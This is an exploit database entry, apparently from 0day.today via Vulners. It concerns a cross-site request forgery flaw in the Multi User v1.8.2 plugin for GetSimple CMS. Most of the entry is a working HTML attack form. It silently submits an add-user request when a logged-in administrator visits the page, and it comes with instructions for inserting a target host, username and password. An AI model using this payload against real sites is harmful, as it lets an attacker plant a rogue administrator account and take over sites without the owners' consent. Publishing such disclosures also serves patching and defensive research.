# Exploit Title: GetSimple CMS Plugin Multi User v1.8.2 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Vendor Homepage: http://get-simple.info/extend/plugin/multi-user/133/
# Software Link: http://get-simple.info/extend/export/960/133/multi-user.zip
# Version: 1.8.2
# Tested On: Windows 10 Pro + XAMPP
# CWE-352: Cross-Site Request Forgery (CSRF)
# Vulnerability Description:
# Cross-Site Request Forgery (CSRF) vulnerability in Multi User v1.8.2 plugin for GetSimple CMS allows remote attackers to add an Admin user via authenticated admin visiting a third-party site.
## Usage:
+ Change <IP||DOMAIN> to target IP address or domain name
+ Change <ADMIN> to target username
+ Change <PASSWORD> to target password
## CSRF POST Form Method
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<IP||DOMAIN>/admin/load.php?id=user-managment" method="POST">
<input type="hidden" name="usernamec" value="<ADMIN>" />
<input type="hidden" name="useremail" value="ADMIN@DOMAIN.LOCAL" />
<input type="hidden" name="ntimezone" value="" />
<input type="hidden" name="userlng" value="en_US" />
<input type="hidden" name="userpassword" value="<PASSWORD>" />
<input type="hidden" name="usereditor" value="1" />
<input type="hidden" name="Landing" value="" />
<input type="hidden" name="add-user" value="Add New User" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# 0day.today [2020-08-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation